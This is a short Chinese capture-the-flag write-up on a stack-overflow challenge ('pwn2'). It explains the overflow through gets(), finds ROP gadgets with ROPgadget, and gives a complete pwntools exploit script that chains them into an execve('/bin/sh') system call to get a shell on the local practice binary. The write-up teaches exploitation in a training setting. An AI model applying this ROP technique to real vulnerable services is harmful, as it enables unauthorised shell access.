pwn2第二关

在这一关中,没有可以直接利用的system()函数让我们直接调用了。我们可以学习使用系统调用来进行操作。
首先看一下保护情况,只开了NX,
在这里插入图片描述
同样是get()存在溢出
在这里插入图片描述
syscall的函数调用规范为execve("/bin/sh",0,0)
汇编语句如下

pop ax     # 系统调用号载入, execve为0xb
pop bx    #/bin/sh
pop cx   #0
pop dx   #0
int 0x80

然后用ROPgadget查找汇编语句
ROPgadget --binary pwn2 --only ‘pop|ret’|grep ‘ax’
在这里插入图片描述
然后查找bx,cx,dx,int 0x80
在这里插入图片描述
溢出和上一关一样112个字节
exp如下:

from pwn import *
p=process('./pwn2')
pop_ax_ret = 0x080bb196
pop_cx_bx_ret = 0x0806eb91
bin_sh=0x080be408
pop_dx_ret =0x0806eb6a
int_0x80=0x08049421
payload=flat(['a'*112,pop_ax_ret,0xb,pop_cx_bx_ret,0,bin_sh,pop_dx_ret,0,int_0x80])
p.recvline()
p.sendline(payload)
p.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值